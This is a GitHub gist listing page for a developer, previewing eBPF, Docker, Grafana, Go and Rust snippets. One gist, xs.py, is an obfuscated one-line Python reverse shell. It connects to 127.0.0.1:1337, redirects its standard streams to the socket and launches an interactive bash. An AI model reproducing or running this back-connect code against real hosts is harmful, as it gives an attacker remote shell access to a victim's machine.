Skip to content

Instantly share code, notes, and snippets.

View ii64's full-sized avatar
🏫
College Student

Maple ii64

🏫
College Student
View GitHub Profile
@ii64
ii64 / main.go
Created February 16, 2022 22:00
Go ebpf tracepoint example of kmem:mm_page_alloc , syscalls:sys_enter_open, and syscalls:sys_enter_openat
//go:build linux
// +build linux
// This program demonstrates attaching an eBPF program to a kernel tracepoint.
// The eBPF program will be attached to the page allocation tracepoint and
// prints out the number of times it has been reached. The tracepoint fields
// are printed into /sys/kernel/debug/tracing/trace_pipe.
package main
import (
@ii64
ii64 / docker-compose.yml
Last active March 30, 2024 06:58
Docker / Swarm usage example of ExternalDNS (https://github.com/ii64/external-dns docker-engine source driver)
services:
external-dns:
image: "ii64/external-dns:v0.12.2-docker-mini"
container_name: external-dns
user: root
environment:
- CF_API_KEY=XXX
- CF_API_EMAIL=XXX
volumes:
- "/var/run/docker.sock:/var/run/docker.sock:ro"
@ii64
ii64 / internet_tepat.go
Last active October 4, 2023 04:15
Internet Tepat logs your original URL and use your MSISDN for AD tracking.
package main
import (
"bytes"
"encoding/json"
"flag"
"fmt"
"io"
"net/http"
"net/http/httputil"
@ii64
ii64 / MySQL Schema Growth-1692849650390.json
Last active August 28, 2023 02:41
Grafana Dashboard - MySQL Schema Growth - Prometheus - mysqld_exporter
{
"__inputs": [
{
"name": "DS_PROMETHEUS",
"label": "Prometheus",
"description": "",
"type": "datasource",
"pluginId": "prometheus",
"pluginName": "Prometheus"
}
@ii64
ii64 / docker-compose.yml
Created April 23, 2023 11:32
Unpopular docker compose YAML template
version: '3'
x-tpl-nginx-lb: &tpl-nginx-lb
image: nginx:stable-alpine
restart: unless-stopped
expose: [ 80 ]
entrypoint:
- sh
- -c
- |
@ii64
ii64 / xs.py
Last active April 6, 2023 08:40
one-line back-connect Python script
(lambda xx:({0:list(map(lambda i:[0,lambda x:xx.update({2:(x[1]('socket'),x[1]('os'),x[1]('subprocess'))}),lambda x:(x.update({3:x[2][0].socket(x[2][0].AF_INET,x[2][0].SOCK_STREAM)}),x[3].connect(x[4])),lambda x:(list(map(lambda i:x[2][1].dup2(x[3].fileno(),i),range(3))),x[3].send(x[5]),x[2][2].call(x[6]))][i](xx),range(1,5)))}))({6:['bash','-i'],5:b'connected',4:('127.0.0.1',1337),1:__import__})
@ii64
ii64 / acrordrc2020.pol
Created March 10, 2023 12:21 — forked from N0rbert/acrordrc2020.pol
PlayOnLinux script to install Adobe Acrobat Reader DC 2020 (should be lauched after installation using script for 2015)
#!/usr/bin/env playonlinux-bash
[ "$PLAYONLINUX" = "" ] && exit 0
source "$PLAYONLINUX/lib/sources"
TITLE="Adobe Acrobat Reader DC"
PREFIX="AdobeAcrobatReaderDC"
WINEVERSION="4.0.3"
EDITOR="Adobe Systems Inc."
GAME_URL="https://acrobat.adobe.com/us/en/products/pdf-reader.html"
@ii64
ii64 / keybase.md
Created February 13, 2023 03:47
keybase

Keybase proof

I hereby claim:

  • I am ii64 on github.
  • I am ii64 (https://keybase.io/ii64) on keybase.
  • I have a public key ASDZf67EWsyPst5UcKSqNqxIPEAzNv6CJwm5vs2bz7KBvAo

To claim this, I am signing this object:

package main
import (
"fmt"
"os"
"syscall"
"unsafe"
)
func main() {
@ii64
ii64 / memsearch.rs
Last active December 23, 2022 19:11
Rust proc self memory search iterator
use std::{fs::{File}, io::{BufReader, self, Read, Seek, ErrorKind, BufRead}, vec};
struct MemSearch<R>
where
R: Read
{
inner: R,
matches: Vec<Vec<u8>>,
addr: usize,
end_addr: Option<usize>,